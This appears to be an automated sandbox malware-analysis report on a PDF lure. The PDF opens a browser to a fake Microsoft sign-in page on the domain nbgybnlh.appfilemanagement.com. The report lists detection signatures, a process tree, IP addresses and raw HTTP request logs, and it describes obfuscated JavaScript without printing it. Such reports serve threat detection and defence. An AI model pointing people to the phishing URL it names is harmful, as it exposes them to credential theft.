Edit tour

Windows Analysis Report
logitix.pdf

Overview

General Information

Sample name:	logitix.pdf
Analysis ID:	1591201
MD5:	12cf8a85832132e6cf603383263123c6
SHA1:	632345fcb628794abce58c8cef9273ab186bba9d
SHA256:	d90f004f4a149a12033a7f5e62eab932a519dc01f353599aed1293f82048255a
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid T&C link found

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\logitix.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7456 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7652 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1688,i,9201643466288413071,304059854580606868,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 6324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://nbgybnlh.appfilemanagement.com/cwVGt" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2280,i,13341644472511161292,12533665530442832116,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'nbgybnlh.appfilemanagement.com' does not match the legitimate domain for Microsoft., The domain 'appfilemanagement.com' is not commonly associated with Microsoft., The subdomain 'nbgybnlh' appears random and does not provide any clear association with Microsoft., The presence of a random subdomain and an unrelated primary domain is a common tactic in phishing attempts. DOM: 1.4.pages.csv

Yara detected HtmlPhish10

Source: Yara match

File source: 1.4.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains prominent button: 'view documents'

AI detected suspicious Javascript

Source: 0.9.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nbgybnlh.appfilemanagement.com/cwVGt/... The script demonstrates several high-risk behaviors, including the use of dynamic code execution through the `atob()` function and the extraction of potentially sensitive data from the URL query string. While the script appears to have some obfuscation, the overall behavior is concerning and requires further investigation to determine the true intent.

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/

HTTP Parser: Number of links: 0

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/

HTTP Parser: Invalid link: Privacy statement

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/

HTTP Parser: <input type="password" .../> found

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/	HTTP Parser: No favicon
Source: https://nbgybnlh.appfilemanagement.com/cwVGt/	HTTP Parser: No favicon
Source: https://nbgybnlh.appfilemanagement.com/cwVGt/	HTTP Parser: No favicon

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/

HTTP Parser: No <meta name="author".. found

Source: https://nbgybnlh.appfilemanagement.com/cwVGt/

HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /cwVGt HTTP/1.1Host: nbgybnlh.appfilemanagement.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cwVGt/ HTTP/1.1Host: nbgybnlh.appfilemanagement.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe1373f1743ff&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe1373f1743ff&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nbgybnlh.appfilemanagement.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nbgybnlh.appfilemanagement.com/cwVGt/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=4ram4cvd5lkalobrc8rdv84osm
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/42373058:1736878526:BkU1SksTnjb9f1Ohf5ptrBjTP0MGxxzbJNiX3FkmxeU/901fe1373f1743ff/a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901fe1373f1743ff/1736881341707/dYySAHbYkO8m8dH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901fe1373f1743ff/1736881341707/dYySAHbYkO8m8dH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/901fe1373f1743ff/1736881341713/6bc58a56b02d7fcf21d9a5cc560441b4f9324550343864a7d0013110d9af5123/zILf7rT2yfkFuAs HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/42373058:1736878526:BkU1SksTnjb9f1Ohf5ptrBjTP0MGxxzbJNiX3FkmxeU/901fe1373f1743ff/a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe449df1f4249&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe449df1f4249&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/901fe449df1f4249/1736881467629/37484d0b907f7f71e0325305aee69cd8665702208413495f7b7b2773af1d273a/EGGVM3Xr2YeXElZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901fe449df1f4249/1736881467630/MAS4OqHmnlGv_QN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901fe449df1f4249/1736881467630/MAS4OqHmnlGv_QN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://nbgybnlh.appfilemanagement.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
